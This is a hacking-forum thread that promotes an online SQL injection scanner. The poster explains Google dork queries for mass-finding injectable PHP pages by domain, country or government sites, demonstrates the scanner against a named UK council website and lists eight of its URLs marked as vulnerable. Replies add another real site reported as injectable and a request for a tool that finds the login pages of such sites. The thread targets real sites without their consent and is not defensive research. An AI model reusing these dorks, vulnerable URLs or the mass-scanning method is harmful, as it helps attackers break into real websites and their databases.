Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[How to] Use online sqli scanner (scan specific: websites/domains/countries)

✩hack_addicted.pt SQLi Scanner ✩
--Status:[online]--

I HIGHLY recommend you to use this SQLi Scanner, and not .exe tools!
Side Note: Better dork = more results! Keep that in mind!

Note: This scanner is coded by r3m1ck, a very famous Indonesian Coder, i just modded it and uploaded it.

--
✩Online SQLi Scanner ✩
>Click here to Access<
--

✩Explained: Online SQLi Scanner ✩

✩How to: Scan specific websites ✩

Just use it like this:
inurl:php?id=+site:[domain of website]

you can either change it like:
inurl:php?page=+site:[domain of website]
inurl:php?type=+site:[domain of website]

If by any chance it fail's just put inurl or allinurl instead of site, like this:
inurl:php?id=+inurl:[domain of website]
inurl:php?id=+allinurl:[domain of website]

Examples:

If you want to scan specif countries websites:
for example .pt websites:
inurl:php?type=+site:.pt
or .br:
inurl:php?type=+site:.br

If you want to scan: www.thurrock.gov.uk
use: inurl:php?=id+site:thurrock.gov.uk

results:

Code
http://www.thurrock.gov.uk/benefits/content.php?page='advice_types <== SQL Injection Success !
http://www.thurrock.gov.uk/life/content.php?page='category&ID='13 <== SQL Injection Success !
http://www.thurrock.gov.uk/libraries/libinfo/content.php?page='library&id='6 <== SQL Injection Success !
http://www.thurrock.gov.uk/life/content.php?page='category&ID='21 <== SQL Injection Success !
http://www.thurrock.gov.uk/life/content.php?page='category&ID='16 <== SQL Injection Success !
http://www.thurrock.gov.uk/a2z/content.php?page='service&ID='349 <== SQL Injection Success !
http://www.thurrock.gov.uk/libraries/libinfo/content.php?page='library&id='1 <== SQL Injection Success !
http://www.thurrock.gov.uk/life/content.php?page='category&ID='11 <== SQL Injection Success !

It does a shearch in google, using specific words called dorks
Imagine you put this in google:
inurl:php?=id+gov

and you get a list of results: 6.980.000 results in (0,22 secs)
now to check the ones vulnerable would take you for ever if you check one by one manually, so what this script does, it puts a ' at the end of the url and shearch for specific words that would be the ones you see when you check it manually.

example (script working):

google shearch result:
http://www.thurrock.gov.uk/libraries/lib...ge=library
Code
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
    <title>Thurrock Council | Library Information | Library Information</title>....

turns to:
http://www.thurrock.gov.uk/libraries/lib...e='library
Code
<p><b>Error: </b>Could not query the database.</p><p>Please try again later.</p>
[b]<!--[/b] 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'library'
LIMIT 1' at line 22 -->

So the script knows that the website is vuln.
And displays the result.

Any question fell free to ask. 👍

I love this, thank you so much! Works really well! :)
Thanks for share dude ;)

its very will help me
I always use this in google dorks!
nice man :))) working ;ň)) http://www.lcoastpress.com/journal.php?id='7 <== SQL Injection Success !

I like it :)) its good 'cause of greed/red color :)) i have now something about 5 SQLinjection successes ;D :) lets start fun.

//

its now on 700 pages, and it is still trying to find.. How much is possible to scan?? :)))
(Jan 14, 2011 08:32 PM)Joshc Wrote:  I love this, thank you so much! Works really well! :)

Thanks mate 👍

(Jan 14, 2011 10:35 PM)boyman Wrote:  Thanks for share dude ;)

its very will help me

You welcome 🤝

(Jan 15, 2011 02:13 AM)Cyber Striker Wrote:  I always use this in google dorks!

As you prefer 🤣

(Jan 15, 2011 02:24 AM)AttYy Wrote:  nice man :))) working ;ň)) http://www.lcoastpress.com/journal.php?id='7 <== SQL Injection Success !

I like it :)) its good 'cause of greed/red color :)) i have now something about 5 SQLinjection successes ;D :) lets start fun.

//

its now on 700 pages, and it is still trying to find.. How much is possible to scan?? :)))

To 1000 pages per scan 🤗
Thanks !!! Your awesome!

Why was that to short?
Nice share bro,, short, short
Thanks for the share bro ^^
Thanks mate. I tried working perfect with me
Hey hack_addicted.pt, do you have any tool which can find login page of such websites?
it's work 🤗
are you indonesian sir? 🤝
ty
Terima Kasih
https://hackforums.net/showthread.php?tid=979499 The Truth about hack_addicted.pt
(Jan 16, 2011 02:28 AM)www.x4kep.info Wrote:  https://hackforums.net/showthread.php?tid=979499 The Truth about hack_addicted.pt

I loled so much!! All that threat is a joke to me!!
I never asked people to +rep like i see some people doing, I don't really even care about the status of the rep, I just say thanks to the people that actually do because of the action in it self, of giving +rep as thanks, but i dont give a fuck to the value of the rep or opinions like yours.
That threat is just a opinion you have, the one i did are facts.
Go suck srblche maybe he scam's you and then +rep's you..
wOwowo awesome Nice scanner and work perfect thanks you


Possibly Related Threads...
Thread / Author Replies Views Last Post
by planlosJun 30, 2023 01:19 PM 0 128 Jun 30, 2023 01:19 PM
Last Post: planlos
by ic3cubOct 20, 2018 06:10 AM 4 186 Oct 20, 2018 06:10 AM
Last Post: thzv
by VZiPSep 15, 2018 03:07 PM 1 184 Sep 15, 2018 03:07 PM
Last Post: 0xB9